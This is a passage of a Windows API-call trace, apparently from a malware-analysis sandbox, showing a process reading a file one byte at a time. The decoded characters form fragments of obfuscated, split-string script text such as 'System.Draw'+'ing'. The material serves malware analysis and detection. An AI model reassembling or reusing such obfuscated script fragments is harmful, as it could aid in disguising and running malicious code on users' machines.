lpWideCharStr="a") returned 1 [0103.860] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.860] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.860] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.860] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee412, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0103.860] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.860] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.860] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.860] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee414, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.860] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.860] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.860] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.860] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee416, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0103.860] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.860] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.860] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.860] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee418, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0103.860] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.861] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.861] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.861] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee41a, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0103.861] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.861] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.861] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.861] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee41c, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0103.861] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.861] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.861] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.861] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee41e, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0103.861] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.861] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.861] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.861] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee420, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0103.861] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.861] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.861] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.861] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee422, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0103.861] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.861] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.861] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.861] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee424, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0103.862] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.862] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.862] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee426, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.862] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.862] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.862] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee428, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0103.862] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.862] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.862] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee42a, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0103.862] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.862] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.862] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee42c, cchWideChar=1 | out: lpWideCharStr="D") returned 1 [0103.862] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.862] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.862] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee42e, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0103.862] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.862] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.862] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee430, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0103.862] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.862] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.862] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.862] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee432, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.863] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.863] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.863] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee434, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.863] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.863] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.863] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee436, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.863] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.863] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.863] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee438, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0103.863] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.863] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.863] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee43a, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.863] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.863] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.863] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee43c, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.863] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.863] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.863] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.863] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee43e, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.863] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.863] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.863] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.864] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee440, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0103.864] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.864] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.870] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee442, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0103.870] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.870] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.870] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee444, cchWideChar=1 | out: lpWideCharStr="g") returned 1 [0103.870] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.870] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.870] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee446, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0103.870] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.870] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.870] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee448, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0103.870] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.870] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.870] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.870] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee44a, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0103.870] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.870] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.870] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee44c, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0103.871] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.871] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.871] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee44e, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.871] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.871] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.871] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee450, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.871] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.871] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.871] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee452, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.871] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.871] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.871] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee454, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0103.871] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.871] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.871] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.871] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee456, cchWideChar=1 | out: lpWideCharStr="6") returned 1 [0103.871] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.871] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.872] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee458, cchWideChar=1 | out: lpWideCharStr="Q") returned 1 [0103.872] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.872] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.872] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee45a, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0103.872] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.872] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.872] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.872] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee45c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0103.872] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.872] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 